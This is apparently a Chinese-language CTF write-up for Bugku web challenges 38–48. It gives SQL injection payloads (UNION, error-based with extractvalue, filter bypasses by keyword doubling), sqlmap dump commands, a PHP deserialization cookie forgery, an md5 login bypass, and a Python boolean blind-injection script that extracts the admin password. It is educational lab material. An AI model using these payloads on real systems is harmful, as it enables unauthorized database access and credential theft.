bugku 38-48 writeup(web)

一、第38题(这是一个神奇的登陆框)

方法一
首先我们抓包,
经过一些尝试发现存在sql注入,并且sql语句是使用“来闭合的。
爆数据库

admin_name=1" union select database(),2#&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
爆数据表

admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
爆字段名

admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
爆数据

admin_name=1" union select (select flag1 from flag1),2%23&admin_passwd=1&submit=GO+GO+GO

在这里插入图片描述
方法二
将抓到的报保存为.txt文件放在sqlmap的安装目录下。
爆数据库

python2 sqlmap.py -r "3.txt" -p admin_name --dbs

在这里插入图片描述
爆表

python2 sqlmap.py -r "3.txt" -D bugkusql1 -p admin_name --tables

在这里插入图片描述
爆字段名
在这里插入图片描述
爆数据

python2 sqlmap.py -r "3.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

在这里插入图片描述
以上2种方法均是对admin_name进行注入,当然也可以对admin_passwd进行注入

二、第39题(多次)

尝试id=1',发现报错,
尝试id=1' --+发现没有报错
说明存在sql注入

尝试id=1' or --+报错,
说明存在某种过滤
尝试id=1' oorr --+发现没有报错

在这里我们可以使用异或注入来检查哪些字符被过滤
这时我们可以用异或注入来检测,异或即两个条件相同(同真或同假)即为假

http://123.206.87.240:9004/1ndex.php?id=1'^(length('or')!=0)--+

当length()里的字符被过滤时,就输出there is nothing.
经过一些尝试可以知道
and or select union被绕过

开始爆数据库

http://123.206.87.240:9004/1ndex.php?id=-1'  uniunionon seselectlect 1,database()--+

可以爆出数据库为
在这里插入图片描述
爆表

http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(table_name) from infoorrmation_schema.tables 
where table_schema="web1002-1"--+

在这里插入图片描述

爆字段

http://123.206.87.240:9004/1ndex.php?id=-1'  uniunionon seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1"--+

在这里插入图片描述
爆数据

http://123.206.87.240:9004/1ndex.php?id=-1'  uniunionon seselectlect 1,flag1 from flag--+

在这里插入图片描述
提交flag 发现是假的flag,那么我们爆另一个字段
在这里插入图片描述
使用上面的方法,经过尝试发现我们注入的代码会在IP处不解析的输出
在这里插入图片描述
那么我们尝试下报错注入
爆数据库

http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+

在这里插入图片描述
爆数据表
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema=”web1002-2”),0x7e)))–+
在这里插入图片描述
爆字段(其实我们可以猜测字段名为flag2)

http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns 
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+

爆flag

http://123.206.87.240:9004/Once_More.php?id=1' and 
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+

在这里插入图片描述

三、第40题(PHP_encrypt_1)

题目给出了压缩包,下载打开,发现是某种加密方式,需要我们阅读代码,写出解密代码

<?php
function encrypt($data,$key)
{
    $key = md5('ISCC');
    $x = 0;
    $len = strlen($data);
    $klen = strlen($key);
    for ($i=0; $i < $len; $i++) { 
        if ($x == $klen)
        {
            $x = 0;
        }
        $char .= $key[$x];
        $x+=1;
    }
    for ($i=0; $i < $len; $i++) {
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>

参考网上的大佬写的代码,该题涉及密码学,逆向,web

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    for ($i=0; $i < $md_len; $i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

四、第41题(文件包含2)

由于无法打卡该题目网站,本题略

四、第42题(文件包含2)

这题考的是代码审计
首先,我们提交login发现没反应,题目提示hint那么我们传入?hint=1试试,发现

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

然后开始审计代码发现,
这是个php反序列。

$cookie = $_COOKIE['ISecer'];

代码逻辑就是,传入一个cookie:ISecer,如果ISecer反序列化的结果和KEY相等,就弹出flag。
也就是cookie的参数的值必须为$kEY的值的序列化。
注意$key的值在调用的时候还没有被定义
构造序列化字符串

<?php
echo serialize('');
?>

输出s:0:’’

然后我们抓包将Cookie的值改为ISecer=s:0:’’,即可得出flag
在这里插入图片描述

五、第43题(sql2)

该题为post型的sql注入,尝试了各种sql注入发现都被过滤了,当时那个绝望呀。
去看别人博客提示说是DS_Store源码泄露,然后就需要用到python脚本来跑一下了,发现了flag目录,直接访问,然后就得到了flag。
在这里插入图片描述
DS_Store下载地址:https://github.com/lijiejie/ds_store_exp

我们了解下什么是DS_Store源码泄露

六、第45题(Trim的日记本)

登入,额发现题目的出了点问题,不够不影响我们解题,扫描
在这里插入图片描述
登录http://123.206.87.240:9002/show.php
在这里插入图片描述
提交flag竟然是真的。

七、第46题(login2)

第一步抓包
在这里插入图片描述
可以发现这边有一堆base64加密的编码
解密

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){

这段代码的意思大概就是,通过输入不存在用户,用union select 构造出指定密码的md5值,即可登入成功
username=1’ union select 1,md5(1)#&password=1
在这里插入图片描述

在这里插入图片描述

八、第47题(login3)

我们先尝试下账号admin密码pass,发现返回密码错误。
账号admin’,密码pass发现
在这里插入图片描述
说明本题应该使用布尔盲注
再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句

username=’^(1)^1#&password=123
在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用 () 代替,=可以使用 <> 代替,还有and information。
那么我们应该想到使用脚本,毕竟手动盲注什么时候是个头,然后将得到的密码MD5解密
附上脚本代码

import requests
guess = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url = "http://123.206.31.85:49167/"
database=""
for i in range(0,35):
    for j in guess:
        # uname = "admin'^(ascii(mid(database()from(%i)))<>%s)^0#"%(i,ord(j))
        uname = "admin'^(ascii(mid((select(password)from(admin))from(%i)))<>%s)^0#"%(i,ord(j))
        data = {
            "username":uname,
            "password":"123"
        }
        res = requests.post(url=url,data=data).text
        if "password error" in res:
            database += j
            print(database)
            break

大家也可以参考下这篇文章https://blog.csdn.net/qq_42133828/article/details/86815663

九、第48题(login4)

经过尝试发现题目说只有admin可以看到flag又说admin不允许登录
参考这篇文章
https://blog.csdn.net/csu_vc/article/details/79619309

十、文件上传2(湘桥杯)

不知道为什么进不了题目
大家可以参考下这篇文章
https://www.jianshu.com/p/59730b290120

十一、秋名山老司机

直接用python脚本即可得出flag

#coding:utf-8
import requests
import re
url = "http://123.206.87.240:8002/qiumingshan/"
res = requests.session()
s = res.get(url).text
num = re.search(r'(\d+[+\-*])+(\d+)',s).group()
result = eval(num)
data = {'value':result}
print(res.post(url=url,data=data).text)
0%